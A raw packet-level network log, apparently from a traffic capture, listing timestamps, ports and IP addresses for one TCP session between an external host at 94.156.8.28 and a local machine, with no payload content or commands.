May 19, 2024 06:01:08.739377022 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739403963 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739413023 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739430904 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739435911 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739459991 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739470005 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739487886 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739490032 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739515066 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739528894 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739542007 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739550114 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739568949 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739592075 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739592075 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739595890 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739623070 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739629030 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739650011 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739665031 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739676952 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739703894 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739716053 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739731073 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739739895 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739758015 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739784002 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739784956 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739810944 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739824057 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739837885 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739869118 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739869118 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739890099 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739896059 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739923000 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.739928007 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739952087 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.740144968 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.740263939 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.740297079 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.740323067 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.740324974 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.740350008 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.740355968 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.740386963 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.740391970 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.740411997 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.740505934 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741282940 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741309881 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741337061 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741344929 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741364002 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741368055 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741386890 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741390944 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741420031 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741422892 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741446018 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741446972 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741475105 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741482019 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741503000 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741503000 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741530895 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741533041 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741555929 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741558075 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741585970 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741596937 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741612911 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741624117 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741646051 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741672993 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741678953 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741700888 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741724014 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741727114 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741755009 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741770983 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741781950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741796970 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741811037 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741817951 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741839886 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.741858959 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741878986 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.741898060 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.744982958 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745014906 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745042086 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745052099 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745069027 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745071888 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745090961 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745096922 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745121002 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745124102 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745152950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745158911 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745181084 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745198011 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745208979 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745228052 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745235920 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745254993 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745265007 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745270967 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745292902 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745299101 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745320082 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745321989 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745349884 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745353937 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745373964 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745376110 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745404005 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745429993 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745429039 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745452881 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745459080 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745486021 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745490074 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745512962 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745538950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745551109 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745565891 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.745584965 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745609999 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.745626926 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746169090 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746201038 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746227980 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746254921 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746284962 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746284962 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746335983 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746411085 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746438026 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746464014 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746467113 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746491909 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746527910 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746540070 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746553898 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746568918 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746594906 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746603966 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746623039 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746628046 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746649027 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746650934 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746678114 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746684074 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746706009 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746706963 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746731043 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746732950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746761084 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746767044 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746788979 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746795893 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746815920 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746815920 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746845007 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746848106 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746866941 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746872902 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746900082 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746906996 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746926069 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746927023 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746954918 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.746954918 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746974945 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.746982098 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747020006 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747040033 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747615099 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747656107 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747673988 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747689009 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747714043 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747715950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747739077 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747744083 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747760057 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747771025 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747797966 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747805119 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747823954 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747833014 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747852087 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747878075 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747879028 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747905016 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747905016 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747935057 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747961998 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.747966051 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747987032 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.747991085 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748018026 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748030901 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748047113 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748055935 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748074055 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748080969 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748117924 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748117924 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748147011 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748166084 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748177052 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748203993 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748210907 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748230934 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.748249054 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748289108 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.748312950 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751069069 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751101017 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751144886 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751153946 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751183987 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751200914 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751215935 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751228094 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751281023 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751307964 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751652956 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751681089 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751708031 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751718998 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751735926 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751739025 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751763105 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751775026 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751802921 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751808882 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751815081 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751836061 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751836061 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751847982 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751853943 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751857042 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751858950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751877069 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751884937 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751910925 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751923084 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751930952 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751943111 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751955986 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751962900 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.751969099 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751981974 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.751986027 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752013922 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752024889 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752027035 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752038002 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752063990 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752094984 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752717018 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752741098 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752753973 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752764940 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752784967 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752796888 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752801895 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752810001 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752821922 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752842903 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752851963 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752855062 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752866983 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752878904 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752880096 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752914906 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752928019 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752931118 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752931118 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752939939 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752963066 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752974987 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.752984047 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752984047 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.752990961 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.753009081 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.753009081 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.753026009 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.753040075 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.753041983 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.753051996 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.753074884 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.753103971 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.754388094 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754404068 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754415989 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754435062 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754446983 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754458904 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754477024 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754488945 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754507065 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754518032 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754535913 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754551888 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754568100 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754585981 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754601955 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754611969 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754632950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754645109 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754663944 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754683971 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.754703999 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.756664991 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.756679058 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.756690979 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.756710052 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.756728888 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.756740093 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.756752014 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759475946 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759489059 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759500027 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759510994 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759522915 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759533882 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759545088 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759556055 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759567022 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759577990 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759589911 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759602070 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759613037 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759624958 CEST	65012	49733	94.156.8.28	192.168.2.4
